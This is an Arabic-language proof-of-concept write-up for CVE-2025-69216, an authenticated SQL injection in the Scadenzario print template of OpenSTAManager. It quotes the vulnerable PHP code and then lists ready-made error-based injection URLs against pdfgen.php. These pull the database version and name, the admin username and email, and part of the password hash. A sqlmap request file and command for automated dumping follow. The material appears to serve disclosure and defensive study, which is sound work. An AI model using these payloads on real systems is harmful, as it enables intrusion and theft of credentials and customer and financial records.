
مستودع إثبات المفهوم لـ CVE-2025-69216، حقن SQL مصادق عليه في قالب طباعة Scadenzario في OpenSTAManager، مما يتيح استخراج بيانات اعتماد المسؤول ومحتويات قاعدة البيانات عبر SQLi القائم على الأخطاء والأعمى.
| الحقل | التفاصيل |
|---|
| CVE ID | CVE-2025-69216 |
| الخطورة | عالية |
| الإشعار | عرض الإشعار |
| اكتشفه | Lukasz Rybak |
ثغرة حقن SQL موثقة في قالب طباعة Scadenzario (جدول الدفع) في OpenSTAManager تسمح لأي مستخدم موثق باستخراج بيانات حساسة من قاعدة البيانات، بما في ذلك بيانات اعتماد المسؤول، ومعلومات العملاء، والسجلات المالية. تمكن الثغرة من الوصول الكامل للقراءة من قاعدة البيانات عبر تقنيات حقن SQL المستندة إلى الأخطاء.
توجد الثغرة في templates/scadenzario/init.php عند السطر 46، حيث يتم دمج المعامل id_anagrafica مباشرة في استعلام SQL دون تعقيم مناسب:
الكود القابل للاستغلال:
if (get('id_anagrafica') && get('id_anagrafica') != 'null') {
$module_query = str_replace('1=1', '1=1 AND `co_scadenziario`.`idanagrafica`="'.get('id_anagrafica').'"', $module_query);
$id_anagrafica = get('id_anagrafica');
}
تقوم دالة get() بجلب إدخال المستخدم من معاملات GET/POST دون تحقق. يتم تضمين قيمة المعامل مباشرة في سلسلة استعلام SQL باستخدام دمج السلاسل بدلاً من استخدام دالة التعقيم prepare() الخاصة بالتطبيق، مما يتيح هجمات حقن SQL.
السبب الجذري:
prepare() لتعقيم الإدخالالنقطة الطرفية المتأثرة:
/pdfgen.php?ptype=scadenzario&id_anagrafica=[INJECTION_PAYLOAD]
الملفات المتأثرة:
templates/scadenzario/init.php (السطر 46) - الثغرة الرئيسيةtemplates/scadenzario/init.php (السطران 34, 40) - نمط مشابه مع معاملات التاريخpdfgen.php - نقطة الدخول لعرض القالب1. تأكيد الثغرة - اختبار خطأ بناء الجملة الأساسي:
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20--%20
يظهر خطأ في بناء جملة SQL في استجابة التطبيق

2. استخراج إصدار قاعدة البيانات - حقن SQL مستند إلى الأخطاء:
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e))%20AND%20%221%22=%221
النتيجة: ~8.3.0~ (إصدار MySQL)

3. استخراج اسم قاعدة البيانات:
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,database(),0x7e))%20AND%20%221%22=%221
النتيجة: ~openstamanager~

4. استخراج اسم مستخدم المسؤول:
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20username%20FROM%20zz_users%20LIMIT%201),0x7e))%20AND%20%221%22=%221
النتيجة: ~admin~

5. استخراج البريد الإلكتروني للمسؤول:
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20email%20FROM%20zz_users%20LIMIT%201),0x7e))%20AND%20%221%22=%221
النتيجة: عنوان البريد الإلكتروني للمسؤول

6. استخراج تجزئة كلمة المرور (جزئي - حد 31 حرفًا XPATH):
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20password%20FROM%20zz_users%20LIMIT%201),0x7e))%20AND%20%221%22=%221
النتيجة: تجزئة كلمة مرور bcrypt

7. الاستغلال الآلي باستخدام SQLMap:
إنشاء ملف الطلب sqli_osm.req:
GET /pdfgen.php?ptype=scadenzario&id_anagrafica=1* HTTP/1.1
Host: localhost:8081
Cookie: PHPSESSID=[SESSION_COOKIE]
User-Agent: Mozilla/5.0
تشغيل SQLMap:
sqlmap -r sqli_osm.req --level 3 --risk 3 --dbs
أنواع الحقن المؤكدة من SQLMap:

من المتأثر:
تم الإبلاغ بواسطة Łukasz Rybak
تم الكشف عن هذا CVE بشكل مسؤول وفقًا لممارسات الكشف المنسق عن الثغرات. المعلومات المقدمة هنا لأغراض تعليمية ودفاعية فقط.